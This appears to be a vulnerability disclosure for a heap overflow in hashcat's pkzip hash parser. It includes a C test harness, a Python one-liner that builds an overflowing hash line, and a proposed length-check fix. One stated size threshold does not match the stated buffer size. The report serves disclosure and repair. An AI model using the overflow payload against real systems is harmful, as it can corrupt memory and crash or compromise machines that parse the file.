**pkzip parser (modes 17200 / 17210 / 17220 / 17225)** — over-long hex data token decoded into a 327,680-byte `pkzip.hash.data` array without length validation
pkzip hash parser heap overflow (modes 17200, 17210, 17220, 17225)
| Field | Value |
|---|---|
| Title | pkzip hash parser decodes an attacker-sized hex data field into a fixed 320 KB buffer without validation |
| Vulnerability class | Heap buffer overflow / out-of-bounds write (CWE-122) |
| Affected files / lines | src/modules/module_17200.c:215-337 (parser); overflowing write at module_17200.c:320. Same pattern in module_17210.c, module_17220.c, module_17225.c. |
Description
The pkzip module parses a line with strtok_r and then decodes the final hex token with a custom helper:
hex_to_binary (p, strlen (p), (char *) &(pkzip->hash.data));pkzip->hash.data is declared as u32 data[MAX_DATA / 4] where MAX_DATA is 320 * 1024 bytes. The parser validates compressed_length against MAX_DATA when data_type_enum > 1, but it never validates the length of the final hex data token or pkzip->hash.data_length. A hash line with more than 640,960 hex characters therefore produces more than 320,480 binary bytes and overflows the buffer.
Source-to-sink path
attacker-controlled hash file line
-> hc_fgetl() (max 16 MB)
-> module_hash_decode() in module_17200.so
-> strtok_r() splits tokens
-> strtoul() sets data_length (not enforced against hex token size)
-> hex_to_binary() at module_17200.c:320 writes strlen(p)/2 bytes into pkzip->hash.data[320*1024/4]Preconditions
- Attacker can supply or modify a pkzip hash file processed by hashcat (
-m 17200,-m 17210,-m 17220,-m 17225).
Reproduction
- Build the module:
cd /home/test/hashcat
make modules/module_17200.so- Build the harness:
cat > /tmp/harness_17200.c <<'EOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
typedef unsigned long long (*size_fn)(const void*,const void*,const void*);
typedef int (*decode_fn)(const void*, void*, void*, void*, void*, void*, const char*, const int);
int main(int argc, char **argv) {
FILE *fp = fopen(argv[1], "rb"); fseek(fp,0,SEEK_END); long n=ftell(fp); fseek(fp,0,SEEK_SET);
char *line = malloc(n+1); fread(line,1,n,fp); line[n]=0; fclose(fp);
void *h = dlopen("/home/test/hashcat/modules/module_17200.so", RTLD_NOW);
size_fn es = (size_fn)dlsym(h, "module_esalt_size");
decode_fn fn = (decode_fn)dlsym(h, "module_hash_decode");
unsigned long long sz = es(NULL,NULL,NULL);
unsigned char *esalt = malloc(sz + 256);
memset(esalt, 0x41, sz + 256);
int rc = fn(NULL, (unsigned char[64]){0}, (unsigned char[8192]){0}, esalt, NULL, NULL, line, n);
printf("esalt_size=%llu rc=%d\n", sz, rc);
printf("offset320k=0x%02x%02x%02x%02x tail=0x%02x%02x%02x%02x\n",
esalt[320*1024], esalt[320*1024+1], esalt[320*1024+2], esalt[320*1024+3],
esalt[sz], esalt[sz+1], esalt[sz+2], esalt[sz+3]);
free(esalt); dlclose(h); return 0;
}
EOF
gcc -o /tmp/harness_17200 /tmp/harness_17200.c -ldl- Benign payload (320 KB hex → 160 KB binary, within bounds):
python3 -c "print('\$pkzip\$1*1*1*1*8*27100*1234' + 'a'*327680 + '*\$/pkzip\$')" > /tmp/pkzip_ok.txt
/tmp/harness_17200 /tmp/pkzip_ok.txt
# esalt_size=327714 rc=0
# offset320k=0x41414141 tail=0x41414141- Overflow payload (700 KB hex → 350 KB binary, exceeds 320 KB buffer):
python3 -c "print('\$pkzip\$1*1*1*1*8*55700*1234' + 'a'*700000 + '*\$/pkzip\$')" > /tmp/pkzip_overflow.txt
/tmp/harness_17200 /tmp/pkzip_overflow.txt
# esalt_size=327714 rc=0
# offset320k=0xaaaaaaaa tail=0xaaaaaaaaThe bytes at offset 320 KB and beyond the esalt allocation are overwritten with 0xaa (the decoded value of the repeated aa hex pair), proving the out-of-bounds write.
Impact
heap corruption, crash, and potential code execution when hashcat parses a malicious pkzip hash file.
Possible Fix
Validate the final hex payload size against the actual destination buffer before calling hex_to_binary(). In src/modules/module_17200.c (and the identical block in module_17210.c), replace:
p = strtok_r (NULL, "*", &saveptr);
if (p == NULL) return (PARSER_HASH_LENGTH);
hex_to_binary (p, strlen (p), (char *) &(pkzip->hash.data));with:
p = strtok_r (NULL, "*", &saveptr);
if (p == NULL) return (PARSER_HASH_LENGTH);
const int data_hex_len = strlen (p);
if ((data_hex_len & 1) != 0) return (PARSER_HASH_LENGTH);
if (data_hex_len / 2 > MAX_DATA) return (PARSER_TOKEN_LENGTH);
hex_to_binary (p, data_hex_len, (char *) &(pkzip->hash.data));For the multi-hash variants (src/modules/module_17220.c and src/modules/module_17225.c) the same check belongs inside the per-hash loop, immediately before:
hex_to_binary (p, strlen (p), (char *) &(pkzip->hashes[i].data));using MAX_DATA as the per-hash data limit.
Source: hashcat/hashcat